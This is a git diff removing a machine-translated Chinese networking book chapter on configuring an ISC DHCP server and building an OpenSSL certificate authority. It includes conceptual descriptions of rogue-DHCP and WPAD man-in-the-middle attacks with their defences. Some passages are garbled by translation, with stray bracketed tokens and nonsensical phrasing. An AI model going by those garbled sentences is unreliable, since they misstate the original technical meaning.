这些攻击看起来像什么? 第一种情况是 DHCP 服务器添加了一个恶意主机作为默认网关(通常是它自己)。 当数据包被接收时,恶意主机将检查该流量以获取它想要窃取、窃听或修改的信息,然后将其转发到合法路由器(该子网的默认网关): - -![Figure 7.4 – Layer 3 MiTM attack using DHCP ](img/B16336_07_004.jpg) - -图 7.4 -使用 DHCP 的三层 MiTM 攻击 - -另一种情况是恶意 DHCP 服务器给客户端提供了所有正确的信息,但在 DHCP 租期—DHCP 选项`252`上增加了一个“额外的”DHCP 位信息。 选项`252`是一个文本字符串,指向一个**代理自动配置**(**PAC**)文件,该文件格式化为 URL:`http:///link/`。 PAC 文件是经过特殊格式化的。 攻击者将建立它来使用他们的恶意代理服务器的目标网站,并简单地路由网络流量正常为其他网站。 **这两个机器的意图在中间**【病人】(通常缩短**MiTM)情况是窃取用户的凭证,当你浏览到目标网站如贝宝,亚马逊,或者你的银行,攻击者将有一个假网站准备收集您的用户 ID 和密码。 这是通常称为**WPAD 攻击**(**Windows 代理自动发现**),因为它对那些默认配置为信任 DHCP 服务器的代理设置的 Windows 客户端非常成功。 在大多数情况下,WPAD 攻击是首选,因为攻击者不必担心解密 HTTPS、SSH 或任何其他加密流量:** - -![Figure 7.5 – WPAD attack – malicious DHCP server sets proxy server ](img/B16336_07_005.jpg) - -图 7.5 - WPAD 攻击-恶意 DHCP 服务器设置代理服务器 - -在这两种恶意 DHCP 服务器的情况下,我们的“DHCP 信任”防御工作得非常好。 - -另一种防范 WPAD 攻击的方法是在您的 DNS 服务器上为 WPAD -`yourinternaldomain.com`添加一个 DNS 条目。 这可能很有帮助,因为 WPAD 攻击可以与其他攻击结合使用(特别是针对任何多播 DNS 协议,如 LLMNR),但是如果该主机名有一个 DNS 条目,那么这些攻击就可以很好地规避。 此外,记录针对可疑主机名(如 WPAD)的所有 DNS 请求是一种很好的实践,可以帮助您在攻击发生时识别和定位攻击。 - -但是,如何从另一个方向添加保护来防止攻击呢——如何处理未经授权的客户机呢? - -## 非法 DHCP 客户端 - -越少常见的攻击向量是一个流氓 DHCP 客户端——一个人从家里带来了他们的服务器和插入一个未使用的以太网端口,或攻击者插头一个微小的,专门攻击个人电脑(通常称为**pwnplug)到一个未使用的以太网端口在大堂或任何可访问的位置。 在植物、打印机或其他障碍物的后面是它们最喜欢的位置。** - -针对这种攻击的老式防御方法是保存公司中所有授权 MAC 地址的数据库,或者将它们设置为 DHCP 中的授权客户端,或者为每个授权 MAC 地址设置一个静态 DHCP 保留。 这两种情况在现代企业中都不理想。 首先,这是一个非常重要的管理过程。 我们正在向服务器团队的流程中添加一个手动库存组件。 由于 DHCP 服务器通常是一个低开销的服务器组件,没有人会对这个感到兴奋。 其次,如果采用“静态保留”方法,则需要为每个 VLAN、无线 SSID 或客户机可能需要连接到的可能位置添加保留。 不用说,大多数组织都不喜欢这两种方法。 - -保存未授权客户端的更新方法是使用 802.1x 身份验证,其中客户端在被允许登录之前必须向网络进行身份验证。 这涉及到使用*服务半径为 Linux*([*第 9 章*](09.html#_idTextAnchor153))和*证书服务在 Linux 上*(【显示】*第八章*)。 证书用于增强信任——客户机需要信任 RADIUS 服务器,更重要的是,RADIUS 服务器需要信任连接的客户机,以便身份验证安全地工作。 如您所料,我们将在这本书的后面覆盖这个解决方案(在【病人】*第八章*,【t16.1】证书服务在 Linux 上和[*第 9 章*](09.html#_idTextAnchor153),*服务半径 Linux*) - -完成所有这些理论并内化后,让我们开始配置 DHCP 服务器。 - -# 安装配置 DHCP 服务器 - -我们将将配置任务分成三个部分: - -* DHCP 服务器的基本配置和作用域 -* DHCP 租期的静态保留——例如,服务器或打印机。 -* 使用 DHCP 日志进行网络智能和库存检查或填充 - -让我们开始吧。 - -## 基本配置 - -正如你所期望的,我们将从`apt`命令开始我们的旅程,在我们的实验室主机上安装 ISC DHCP 服务器: - -```sh -$ sudo apt-get install isc-dhcp-server -``` - -安装之后,我们可以配置基本的服务器选项。 设置租期和任何与范围无关的内容—例如,我们将配置中央 DNS 服务器。 另外,请注意,我们正在添加一个 ping 检查——例如,在分配租约之前,这个主机会 ping 候选地址,以确保其他主机没有静态地分配它。 这是避免重复 IP 地址的一个很好的检查,这在默认情况下是不开启的。 在我们的示例中,ping 的超时被设置为 2 秒(默认为 1 秒)。 注意,对于某些 dhcpd 服务器,`ping-check`参数可能被缩短为`ping`。 - -还要注意租赁时间变量。 它们决定 DHCP“租期”的有效时间,以及客户端何时开始请求租期更新。 这些因素之所以重要,有以下几个原因: - -* 尽管我们努力将 IP 地址从各种诊断工具中分离出来,但在事件响应中能够或多或少地依赖于地址不会改变太多,这是非常有帮助的。 例如,如果你正在解决一个问题,并在问题开始时确定一个人的站点 IP 地址,如果你能指望在接下来的 3-4 天内不会改变,这是非常有帮助的。 这意味着您可以对所有相关日志只进行一次基于地址的搜索,这是非常有用的。 由于这个原因,内部工作站 DHCP 租期通常被设置为最多 4 天长的周末,甚至最多 2-3 周的假期间隔,在这些时间期间保持 DHCP 租期活跃。 -* 当然,客座网络是例外,特别是客座无线网络。 如果你不把客人的地址和他们的身份或他们的担保人的身份联系起来,那么短的租借时间可能会有帮助。 此外,访客网络经常看到来来去去的“临时”用户,因此短租期可以在一定程度上避免耗尽地址池。 如果您曾经在一个短租期的“匿名访客”网络上做事件响应,您很可能会基于 MAC 地址而不是 IP 地址(并以同样的方式阻止可疑主机)来创建“伪身份”。 - -可用的三个租赁时间变量如下: - -* `default-lease-time`:如果客户端没有请求租期,租期的持续时间 -* `max-lease-time`:服务器能够提供的最长租期 -* `min-lease-time`:如果客户要求的租期比此时间间隔短,则强制其延长租期 - -在所有情况下,客户端都可以在协商的租期间隔的 50%开始请求租期续订。 - -让我们编辑 DHCP 服务器`/etc/dhcp/dhcpd.conf`的主要配置。 请确保使用`sudo`以便您在编辑此文件时拥有适当的权限: - -```sh -default-lease-time 3600; -max-lease-time 7200; -ping true; -ping-timeout 2; -option domain-name-servers 192.168.122.10, 192.168.124.11; -``` - -在这个文件的下面一点取消`authoritative`参数的注释: - -```sh -# If this DHCP server is the official DHCP server for the local -# network, the authoritative directive should be uncommented. -authoritative; -``` - -在该文件的末尾,添加范围的详细信息。 请注意,如果您正在部署新的子网,请尽量避免使用`192168.0.0/24`或`192.168.1.0/24`——因为这些子网在家庭网络中使用得非常频繁,在工作中使用它们会让那些远程人员陷入混乱。 如果他们使用 VPN,他们将有两个不同的`192.168.1.0`网络竞争-其中一个可能是不可达的: - -```sh -# Specify the network address and subnet-mask - subnet 192.168.122.0 netmask 255.255.255.0 { - # Specify the default gateway address - option routers 192.168.122.1; - # Specify the subnet-mask - option subnet-mask 255.255.255.0; - # Specify the range of leased IP addresses - range 192.168.122.10 192.168.122.200; -} -``` - -这也是你放置任何其他 DHCP 选项的地方,我们在本章前面已经讨论过了——例如,支持 VOIP 电话、PXE 主机或无线接入点的选项。 - -最后,重启 DHCP 服务器: - -```sh -$ sudo systemctl restart isc-dhcp-server.service -``` - -只是为了好玩,如果你想让客户端尝试更新 DNS 服务器与他们的信息,你可以添加以下: - -```sh -ddns-update-style interim; -# If you have fixed-address entries you want to use dynamic dns -update-static-leases on; -``` - -现在让我们将基本配置扩展为静态保留—使用 DHCP 将固定 IP 地址分配给打印机或其他网络设备,如时钟、IP 摄像机、门锁甚至服务器。 - -## 静态保留 - -要向主机添加一个静态定义,我们需要在`dhcpd.conf`中添加一个`host`节。 在它最基本的配置中,当我们看到一个特定的 MAC 地址时,我们分配一个固定的 IP 地址: - -```sh -host PrtAccounting01 { - hardware ethernet 00:b1:48:bd:14:9a; - fixed-address 172.16.12.49;} -``` - -在某些情况下,工作站可能会漫游——例如,如果一个设备是无线的,并且可能在不同的时间出现在不同的网络中,我们将希望分配其他选项,但让 IP 地址保持动态。 在这种情况下,我们告诉设备要使用哪个 DNS 后缀,以及如何使用动态 DNS 注册自己: - -```sh -host LTOP-0786 { - hardware ethernet 3C:52:82:15:57:1D; - option host-name "LTOP-0786"; - option domain-name "coherentsecurity.com"; - ddns-hostname "LTOP-786"; - ddns-domain-name "coherentsecurity.com"; -} -``` - -或者,要为一组主机添加静态定义,请执行以下命令: - -```sh -group { - option domain-name "coherentsecurity.com"; - ddns-domainname "coherentsecurity"; - host PrtAccounting01 { - hardware ethernet 40:b0:34:72:48:e4; - option host-name "PrtAccounting01"; - ddns-hostname "PrtAccounting01"; - fixed-address 192.168.122.10; - } - host PrtCafe01 { - hardware ethernet 00:b1:48:1c:ac:12; - option host-name "PrtCafe01"; - ddns-hostname "PrtCafe01"; - fixed-address 192.168.125.9 - } -} -``` - -现在我们已经配置并运行了 DHCP,如果出现问题,我们需要什么工具来帮助排除故障呢? 让我们首先查看 DHCP 租期信息,然后深入研究`dhcpd`守护进程的日志。 - -## 日常使用中的简单 DHCP 日志记录和故障排除 - -要查看当前 DHCP 租期的列表,使用`dhcp-lease-list`命令,它会给出如下列表(注意文本被换行; 这个输出是每一个设备租期一行): - -```sh -$ dhcp-lease-list -Reading leases from /var/lib/dhcp/dhcpd.leases -MAC IP hostname valid until manufacturer -=============================================================================================== -e0:37:17:6b:c1:39 192.168.122.161 -NA- 2021-03-22 14:53:26 Technicolor CH USA Inc. -``` - -注意,这个输出已经从每个 MAC 提取了 OUI,因此,例如,您可以使用这个命令及其输出来查找“奇球”网卡类型。 这些应该在您的 VOIP 子网或主要是移动设备的子网中立即突出。 即使在标准的数据 VLAN 中,基于 OUI 的奇怪的设备类型通常也很容易被发现。 我经常看到这样的情况,当一个客户有一个标准的手机类型,并发现一个非品牌的手机第一次看到 OUI 摘录,或者如果他们是一个 Windows 商店,看到一个苹果电脑,他们没有期待。 - -您可以很容易地将租赁信息“收获”到您选择的电子表格中,这样您就可以修改该列表以适应您的需要,或者您的库存应用需要输入的内容。 或者,如果你只是想提取一个 MAC 地址到主机名表,例如,执行以下命令: - -```sh -$ dhcp-lease-list | sed –n '3,$p' | tr –s " " | cut –d " " –f 1,3 > output.txt -``` - -简单地说,这相当于运行`dhcp-lease-list`命令。 在第 3 行打印从开始的整个清单,删除重复的空格,然后取第 1 列和第 3 列,使用一个空格作为列分隔符。 - -如果您需要更详细的信息,或者如果您正在调查过去的事件,您可能需要更多或不同的数据——为此,您需要日志。 DHCP 日志到`/var/log/dhcpd.log`,输出非常详细。 例如,你可以收集任何特定 MAC 地址的整个 DORA 序列: - -```sh -cat dhcpd.log | grep e0:37:17:6b:c1:39 | grep "Mar 19" | more -Mar 19 13:54:15 pfSense dhcpd: DHCPDISCOVER from e0:37:17:6b:c1:39 via vmx1 -Mar 19 13:54:16 pfSense dhcpd: DHCPOFFER on 192.168.122.113 to e0:37:17:6b:c1:39 via vmx1 -Mar 19 13:54:16 pfSense dhcpd: DHCPREQUEST for 192.168.122.113 (192.168.122.1) from e0:37:17:6b:c1:39 via vmx1 -Mar 19 13:54:16 pfSense dhcpd: DHCPACK on 192.168.122.113 to e0:37:17:6b:c1:39 via vmx1 -``` - -或者你可以进一步问“谁拥有这个 IP 地址?” 我们将收集一整天的数据,以防多个主机可能已经使用了该地址。 为了获得最终的地址分配,我们只需要确认(`DHCPACK`)包: - -```sh -cat /var/log/dhcpd.log | grep 192.168.122.113 | grep DHCPACK | grep "Mar 19" -Mar 19 13:54:16 pfSense dhcpd: DHCPACK on 192.168.122.113 to - e0:37:17:6b:c1:39 via vmx1 -Mar 19 16:43:29 pfSense dhcpd: DHCPACK on 192.168.122.113 to e0:37:17:6b:c1:39 via vmx1 -Mar 19 19:29:19 pfSense dhcpd: DHCPACK on 192.168.122.113 to e0:37:17:6b:c1:39 via vmx1 -Mar 19 08:12:18 pfSense dhcpd: DHCPACK on 192.168.122.113 to e0:37:17:6b:c1:39 via vmx1 -Mar 19 11:04:42 pfSense dhcpd: DHCPACK on 192.168.122.113 to e0:37:17:6b:c1:39 via vmx1 -``` - -或者,进一步缩小的范围,以收集当天该 IP 地址的 MAC 地址,执行以下命令: - -```sh -$ cat dhcpd.log | grep 192.168.122.113 | grep DHCPACK | grep "Mar 19" | cut -d " " -f 10 | sort | uniq -e0:37:17:6b:c1:39 -``` - -现在我们已经有了从租赁表和日志中提取 MAC 地址的工具,您可以使用这些方法进行故障排除、更新库存或在网络中寻找库存不足或“意外”的主机。 我们将在本章的 Q&A 部分进一步探讨故障排除序列。 - -# 总结 - -关于 DHCP 的讨论结束后,您现在应该已经具备了为您的组织构建基本 DHCP 服务器(包括本地子网和远程服务器)的工具。 您还应该能够实现基本的安全性,以防止非法 DHCP 服务器在您的网络上操作。 从活动租期表和 DHCP 日志中提取基本数据应该是组织工具箱的一部分。 - -结合起来,这应该涵盖大多数组织在安装、配置和故障排除方面的需求,以及在库存输入和事件响应中使用 DHCP。 - -在下一章中,我们将继续为 Linux 主机添加核心网络服务。 我们的下一步将是使用**公钥基础设施**(**PKI**)——使用私有和公共证书机构和证书来确保我们的基础设施安全。 - -# 问题 - -正如我们总结的,这里有一个问题列表,供你测试你对本章材料的知识。 你可以在附录的*评估*部分找到答案: - -1. 今天是周一,一个远程销售办公室刚刚打电话给 Helpdesk,说他们没有得到 DHCP 地址。 您将如何解决此问题? -2. 您的工程部没有网络接入,但您仍然可以到达子网。 如何确定这是否与非法 DHCP 服务器有关,如果是,如何找到该非法设备? - -# 进一步阅读 - -欲知更多有关这方面的资料: - -* DHCP snooping and trust configuration: - - [https://isc.sans.edu/forums/diary/Layer+2+Network+Protections+against+Man+in+the+Middle+Attacks/7567/](https://isc.sans.edu/forums/diary/Layer+2+Network+Protections+against+Man+in+the+Middle+Attacks/7567/%20) - -* WPAD attacks: - - https://nakedsecurity.sophos.com/2016/05/25/when-domain-names-attack-the-wpad-name-collision-vulnerability/ - - https://us-cert.cisa.gov/ncas/alerts/TA16-144A - - https://blogs.msdn.microsoft.com/ieinternals/2012/06/05/the-intranet-zone/ - -* DHCP and DHCP option RFCs; also, the IANA reference on DHCP options: - - 动态主机配置协议:https://tools.ietf.org/html/rfc2131 - - DHCP 选项和**引导协议**(**BOOTP**)厂商扩展:https://tools.ietf.org/html/rfc2132 - - Vendor- identifying Vendor Options for Dynamic Host Configuration Protocol version 4 (DHCPv4): https://tools.ietf.org/html/rfc3925 - - DHCP 和 BOOTP 参数:https://www.iana.org/assignments/bootp-dhcp-parameters/bootp-dhcp-parameters.xhtml \ No newline at end of file diff --git a/docs/linux-net-prof/08.md b/docs/linux-net-prof/08.md deleted file mode 100644 index 6be23411..00000000 --- a/docs/linux-net-prof/08.md +++ /dev/null @@ -1,549 +0,0 @@ -# 八、Linux 上的证书服务 - -在本章中,我们将讨论几个主题,这些主题涉及使用证书来保护或加密流量,特别是在 Linux 中配置和使用各种**证书颁发机构**(**CA**)服务器。 - -我们将介绍如何使用这些证书的基础知识,然后继续构建证书服务器。 最后,我们来看看周围的安全考虑证书服务,在保护 CA 的基础设施和使用**证书透明度**(**CT)执行的信任模型,以及库存/组织内部审计或侦察。** - -在本章中,我们将涵盖以下主题: - -* 证书是什么? -* 获得一个证书 -* 以证书 web 服务器为例 -* 构建私有证书颁发机构 -* 保护您的证书颁发机构基础设施 -* 证书的透明度 -* 证书自动化和**自动化证书管理环境**(**ACME**)协议 -* `OpenSSL`小抄 - -当我们完成本章后,您将在您的 Linux 主机上拥有一个工作的私有 CA,您将清楚地知道如何颁发证书,以及如何管理和保护您的 CA,无论您是在实验室还是生产环境中使用它。 您还将对标准证书握手的工作方式有一个坚实的理解。 - -让我们开始吧! - -# 技术要求 - -在本章中,我们可以继续使用我们一直在使用的 Ubuntu**虚拟机**(**VM**)或者工作站,因为这是一个学习练习。 即使在我们同时充当 CA 和证书申请人的部分中,本节中的示例也都可以在单个主机上完成。 - -但是,鉴于我们正在构建一个证书服务器,如果您使用本指南来帮助构建一个生产主机,强烈建议您在一个单独的主机或 VM 上构建它。 虚拟机是生产服务的首选,请阅读*保护 CA 基础设施*一节了解更多关于此建议的信息。 - -# 什么是证书? - -证书本质上是*对真理的证明*——换句话说,证书是这样的文件:*相信我,这是真的*。 这听起来很简单,在某些方面确实如此。 但是在其他方面,证书的各种使用和安全地部署 CA 基础设施是一个重大的挑战——例如,我们在最近几年看到了公共 CA 的一些显著的失败:那些唯一的业务是确保证书过程的公司在审查时不能正确地使用它。 在本章后面的*保护 CA 基础设施*和*CT*部分,我们将更详细地介绍保护 CA 的挑战和解决方案。 - -在事物的根,工作站和服务器有一个它们信任的 ca 列表。 这种信任是使用加密签名的文档交付的,这些文档是每个 ca 的公共证书,存储在 Linux 或 Windows 主机的特定位置。 - -例如,当您浏览 web 服务器时,本地*证书存储*将被引用,以查看我们是否应该信任 web 服务器的证书。 这可以通过查看该 web 服务器的公共证书并查看它是否由您的受信任 ca 之一(或受信任 ca 之一的下属)签名来完成。 使用*儿童*或*下属*中科院实际签名是 common-each 公共 CA 想保护自己的*根 CA 尽可能多,所以【显示】下属 CAs*或*发行 CAs*创建、公共互联网上看到的。 - -组织可以创建自己的 ca,用于在用户、服务器、工作站和网络基础设施之间进行身份验证和授权。 这使得这种信任*在家庭内部*,也就是说,完全处于组织的控制之下。 它还意味着组织可以使用内部和免费的证书服务,而不是为数百或数千个工作站或用户证书付费。 - -现在我们知道了什么是证书,让我们看看如何颁发证书。 - -# 获取证书 - -在下面的图中,应用(例如 web 服务器)需要一个证书。 这张图看起来很复杂,但我们将把它分解成简单的步骤: - -![Figure 8.1 – Certificate signing request (CSR) and issuing a certificate ](img/B16336_08_001.jpg) - -图 8.1 -证书签署请求(CSR)和颁发证书 - -让我们来看看创建证书所涉及的步骤,从初始请求到准备在目标应用中安装证书(*步骤 1-6*),如下所示: - -1. The process starts by creating a CSR. This is simply a short text file that identifies the server/service and the organization that is requesting the certificate. This file is cryptographically "obfuscated"—while the fields are standardized and are just text, the final result is not human-readable. Tools such as OpenSSL, however, can read both CSR files and certificates themselves (see the *OpenSSL cheat sheet* section at the end of this chapter if you need examples of this). The text information for a CSR includes some—or all—of these standard fields: - - ![](img/B16336_08_Table_01.jpg) - - 前面的列表并不是 CSR 中可以使用的所有字段的完整列表,但这些字段是最常见的。 - - 我们需要所有这些信息的原因是,当客户端连接到服务的使用证书(例如,一个 web 服务器使用**超文本传输协议安全**(**HTTPS)和**传输层安全性**(****TLS)), 客户机可以验证所连接的服务器名是否匹配 CN 字段或其中一个 SAN 条目。** - - 这使得 CA 操作员验证此信息变得非常重要。 对于面向公众的证书,这是由验证公司名称、电子邮件等的操作员/供应商完成的。 自动化解决方案通过验证您对域或主机拥有管理控制来实现这一点。 - -2. 继续按照*图 8.1*,将此文本信息与申请人的公钥进行加密组合,形成`CSR`文件。 -3. 现在完成的 CSR 被发送到 CA。当 CA 是一个公共 CA 时,这通常通过网站完成。 自动化等公共 CA**让我们加密 ACME**经常使用的应用编程接口**(**API)申请人和 CA 之间的通信。在 higher-stake 实现中,*步骤 3*和【显示】6 可能使用安全的媒体, 使用正式的*监护链*程序在受信任的各方之间进行实物交接。 重要的是,申请者和 CA 之间的通信使用了某种安全的方法。 虽然不太安全的方法,如电子邮件是可能的,他们不推荐。**** -*** 在 CA,验证身份信息(我们仍然遵循图 8.1 中的信息流)。 这个过程可以是自动的,也可以是手动的,取决于几个因素。 例如,如果这是一个公共 CA,那么您可能已经有一个帐户,这将使半自动化检查更有可能。 如果你没有账户,这张支票很可能是手动的。 对于私有 CA,这个过程可以完全自动化。* 经过验证后,验证过的 CSR 将以加密方式与 CA 的私钥组合,以创建最终证书。* 然后将此证书发送回申请人,并准备好安装到将使用它的应用中。** - - **请注意,在此事务中从未使用申请人的私钥——我们将看到它在 TLS 密钥交换中被使用的位置(在本章的下一节中)。 - -既然我们了解了如何创建或颁发证书,那么应用如何使用证书来信任服务或加密会话流量呢? 让我们看看浏览器和受 tls 保护的网站之间的交互,看看这是如何工作的。 - -# 使用证书- web 服务器的例子 - -当被问及这个问题时,大多数人会说,证书最常见的用途是使用 HTTPS 协议来确保网站的安全。 虽然这可能不是当今互联网上证书最常见的用途,但它仍然是最明显的。 让我们讨论一下如何使用 web 服务器的证书在服务器中提供信任并帮助建立加密的 HTTPS 会话。 - -如果您还记得 CSR 示例中的*申请人*,在本例中,该申请人是网站[www.example.com](http://www.example.com),例如,它可能驻留在 web 服务器上。 我们将在前一个会话关闭的地方开始我们的示例——证书已经颁发并安装在 web 服务器上,准备好用于客户端连接。 - -**步骤 1**:客户端向 web 服务器发出初始 HTTPS 请求,称为**client HELLO**(图 8.2)。 - -在这个初始的*Hello*交换中,客户端向服务器发送以下内容: - -* 它支持的 TLS 版本 -* 它支持加密 - -这个过程如下图所示: - -![Figure 8.2 – TLS communication starts with a client hello ](img/B16336_08_002.jpg) - -图 8.2 - TLS 通信以客户端 hello 开始 - -web 服务器通过发送其证书来回复。 如果您还记得的话,证书包含一些信息。 - -**步骤 2**:web 服务器通过发送其证书进行响应(*图 8.3*)。 如果你还记得的话,这个证书包含了一些信息,如下: - -* 声明服务器标识的文本信息 -* web 服务器/服务的公钥 -* CA 的身份 - -服务器还发送以下信息: - -* 支持的 TLS 版本 -* 它对密码的第一个建议(通常是服务器支持的客户端列表中强度最高的密码) - -这个过程如下图所示: - -![Figure 8.3 – TLS exchange: server hello is sent and certificate is validated by the client ](img/B16336_08_003.jpg) - -图 8.3 - TLS 交换:客户端发送服务器 hello 并验证证书 - -**步骤 3**:客户端接收此证书和其余信息(称为服务器 hello),然后(接下来在*图 8.4*中显示)验证一些信息,如下所示: - -* 我请求的服务器的身份是否在我刚刚收到的证书中(通常这将在 CN 字段或 SAN 字段中)? -* 今天的日期/时间是否在之后的*和*之前的*之间(即证书是否过期)?* -* 我是否信任 CA? 它将通过查看其证书存储来验证这一点,几个 ca 的公共证书通常位于其中(几个公共 ca,通常是一个或多个组织内使用的私有 ca)。 -* 通过向**在线证书状态协议**(**OCSP**)服务器发送请求,客户端还有机会检查证书是否已被吊销。 检查**证书撤销列表**(**CRL**)的旧方法仍然得到支持,但已经不常用了——这个列表已经被证明不能很好地适应数千个已撤销证书。 在现代实现中,CRL 通常由已被吊销的公共 CA 证书组成,而不是常规的服务器证书。 -* *信任*和*撤销*检查非常重要。 这些验证服务器是否是它所声称的那个人。 如果这些检查没有完成,那么任何人都可以站在服务器上声称是你的银行,你的浏览器就会让你登录到那些恶意的服务器上。 现代的网络钓鱼活动经常试图通过*相似的域名*和其他方法来欺骗系统。 - -**步骤 4**:如果证书通过了客户端的所有检查,客户端将生成一个伪随机对称密钥(称为 pre-master key)。 使用服务器的公钥对其进行加密并发送到服务器(如图*图 8.4*所示)。 这个密钥将用于加密实际的 TLS 会话。 - -此时允许客户端修改密码。 最终的密码是客户机和服务器之间的协商——记住这一点,因为当我们讨论攻击和防御时,我们将对此进行更深入的研究。 长话短说——客户端通常不会更改密码,因为服务器已经从客户端的列表中选择了一个。 - -这个过程如下图所示: - -![Figure 8.4 – Client key exchange and the server gets one last chance to change the cipher ](img/B16336_08_004.jpg) - -图 re 8.4 -客户端密钥交换和服务器得到最后一次更改密码的机会 - -**步骤 5**:在此步骤之后,服务器也有最后一次机会更改密码(仍在*图 8.4*中)。 这一步通常不会发生,并且通常完成密码协商。 预主密钥现在是最终的,被称为主秘密。 - -**步骤 6**:现在证书验证已经完成,密码和对称密钥都已经达成一致,可以进行通信了。 加密是使用前一步中的对称密钥完成的。 - -下面的图表说明了这一点: - -![Figure 8.5 – Negotiation is complete and communication proceeds using the master secret (key) for encryption ](img/B16336_08_005.jpg) - -图 8.5 -协商完成,通信使用主秘密(密钥)进行加密 - -在这个交换中有两个重要的需要注意的事情是隐含的,但还没有阐明,如下: - -* 一旦协商完成,就不再使用证书—使用协商好的主秘密密钥进行加密。 -* 正常协商时,不需要 CA。 当我们开始讨论保护我们组织的 CA 基础设施时,这将成为一个重要的问题。 - -现在我们对证书的工作方式有了更好的理解(至少在这个用例中),让我们为我们的组织构建一个基于 linux 的 CA。 我们会用几种不同的方式来做这件事,让你在自己的组织中有一些选择。 我们还将在下一章中使用 CA,[*第 9 章*](09.html#_idTextAnchor153),*RADIUS Services for Linux*,所以这是一组重要的示例,需要密切关注。 - -# 构建私有证书颁发机构 - -构建一个私有的 CA 开始时,我们面临着与每个基础架构包相同的决定:*我们应该使用哪个 CA 包?* 有这么多服务器解决方案,有几个可供选择。 这里列出了一些选项: - -* **OpenSSL**技术给了我们需要的所有工具编写自己的脚本和维护我们自己的目录结构**公共密钥基础设施**(**PKI)片段。 您可以创建根 ca 和从属 ca,创建 CSR,然后签署这些证书以生成真正的证书。 在实践中,虽然这种方法得到了普遍的支持,但对于大多数人来说,它在手工方面有点太过了。** -* **证书管理器**是与 Red Hat Linux 及相关发行版捆绑在一起的 CA。 -* **openSUSE**和相关发行版可以使用本地**Yet another Setup Tool**(**YaST**)配置和管理工具作为 CA。 -* **Easy-RSA**是一组脚本,本质上是相同 OpenSSL 命令的包装器。 -* **Smallstep**实现了更多的自动化—可以将其配置为私有 ACME 服务器,并且可以轻松地允许您的客户机请求和完成它们自己的证书。 -* **Boulder**是一个基于 acme 的 CA,分布在`LetsEncrypt`GitHub 页面,用 Go 编写。 - -如您所见,有相当多的 CA 包。 大多数旧的是各种 OpenSSL 命令的包装器。 较新的版本有额外的自动化,特别是围绕 ACME 协议,这是由`LetsEncrypt`首创的。 前面提到的每个包的文档链接在本章的*进一步阅读*列表中。 作为部署最广泛的 Linux CA,我们将使用 OpenSSL 构建示例 CA 服务器。 - -## 使用 OpenSSL 构建 CA - -因为我们只使用了几乎每个 Linux 发行版中包含的命令,所以在我们开始使用这种方法构建 CA 之前,没有什么需要安装的。 - -让我们开始这个过程,如下: - -1. 首先,我们将为 CA 创建一个位置。`/etc/ssl`目录应该已经存在于您的主机的文件结构中,我们将通过运行以下代码添加两个新目录: - - ```sh - $ sudo mkdir /etc/ssl/CA - $ sudo mkdir /etc/ssl/newcerts - ``` - -2. Next, keep in mind that as certificates are issued, the CA needs to keep track of serial numbers (usually sequential), and also some details about each certificate as it's issued. Let's start the serial numbers in a `serial` file, at `1`, and create an empty `index` file to further track certificates, as follows: - - ```sh - $ sudo sh -c "echo '01' > /etc/ssl/CA/serial" - $ sudo touch /etc/ssl/CA/index.txt - ``` - - 在创建`serial`文件时,请注意`sudo`语法。 之所以需要这样做,是因为如果您只是针对`echo`命令使用`sudo`,那么您就没有`/etc`目录下的权限。 此语法所做的是启动一个`sh`临时 shell,并传递引号中的字符串,以便使用`-c`参数执行。 这相当于运行`sudo sh`或`su`,执行命令,然后退出到常规用户上下文。 然而,使用`sudo sh –c`比这些其他方法要好得多,因为它消除了停留在根上下文中的诱惑。 停留在根上下文中会带来各种各样的机会,错误地、永久地改变系统上你不想要的东西——从意外删除一个关键文件(只有`root`可以访问),到错误地安装恶意软件, 或者允许勒索软件或其他恶意软件以`root`的形式运行。 - -3. Next, we'll edit the existing `/etc/ssl/openssl.cnf` configuration file and navigate to the `[CA_default]` section. This section in the `default` file looks like this: - - ```sh - [ CA_default ] - dir = ./demoCA # Where everything is kept - certs = $dir/certs # Where the issued certs are kept - crl_dir = $dir/crl # Where the issued crl are kept - database = $dir/index.txt # database index file. - #unique_subject = no # Set to 'no' to allow creation of - # several certs with same subject. - new_certs_dir = $dir/newcerts # default place for new certs. - certificate = $dir/cacert.pem # The CA certificate - serial = $dir/serial # The current serial number - crlnumber = $dir/crlnumber # the current crl number - # must be commented out to leave a V1 CRL - crl = $dir/crl.pem # The current CRL - private_key = $dir/private/cakey.pem# The private key - x509_extensions = usr_cert # The extensions to add to the cert - ``` - - 我们将在该部分更新以下内容: - - ```sh - dir = /etc/ssl # Where everything is kept - database = $dir/CA/index.txt # database index file. - certificate = $dir/certs/cacert.pem # The CA certificate - serial = $dir/CA/serial # The current serial number - private_key = $dir/private/cakey.pem# The private key - ``` - - 不需要对`private_key`行进行更改,但是在文件中,请确保再次检查其正确性。 - -4. Next, we'll create a self-signed root certificate. This is normal for the root of a private CA. (In a public CA, you would create a new CSR and get it signed by another CA, to provide a *chain* to a trusted root.) - - 由于这是一个组织的内部 CA,所以我们通常会选择较长的使用周期,这样就不会每一两年重新构建整个 CA 基础设施。 让我们选择 10 年(3650 天)。 注意,该命令要求输入密码(不要丢失它!)以及其他用于识别证书的信息。 注意,在下面的代码片段中,`openssl`命令在一个步骤中为 CA(`cakey.pem`)和根证书(`cacert.pem`)创建一个私钥。 当提示时,使用您自己的主机和公司信息来填写请求的值: - - ```sh - $ openssl req -new -x509 -extensions v3_ca -keyout cakey.pem -out cacert.pem -days 3650 - Generating a RSA private key - ...............+++++ - .................................................+++++ - writing new private key to 'cakey.pem' - Enter PEM pass phrase: - Verifying - Enter PEM pass phrase: - ----- - You are about to be asked to enter information that will be incorporated - into your certificate request. - What you are about to enter is what is called a Distinguished Name or a DN. - There are quite a few fields but you can leave some blank - For some fields there will be a default value, - If you enter '.', the field will be left blank. - ----- - Country Name (2 letter code) [AU]:CA - State or Province Name (full name) [Some-State]:ON - Locality Name (eg, city) []:MyCity - Organization Name (eg, company) [Internet Widgits Pty Ltd]:Coherent Security - Organizational Unit Name (eg, section) []:IT - Common Name (e.g. server FQDN or YOUR name) []:ca01.coherentsecurity.com - Email Address []: - ``` - -5. In this final step, we'll move the key and root certificate to the correct locations. Note that you'll need `sudo` rights again to do this. - - ```sh - sudo mv cakey.pem /etc/ssl/private/ - sudo mv cacert.pem /etc/ssl/certs/ - ``` - - 请确保不要复制文件,而是使用`mv`命令移动它们。 在安全协议中,通常会发现存储在各种临时或存档位置的证书和密钥——不用说,如果攻击者能够获得您的证书服务器的根证书和私钥,就会导致各种恶作剧! - -您的 CA 现在可以使用了! 让我们继续创建 CSR 并对其签名。 - -## 请求并签署 CSR - -让我们创建一个测试 csr——您可以在我们正在使用的同一个示例主机上执行此操作。 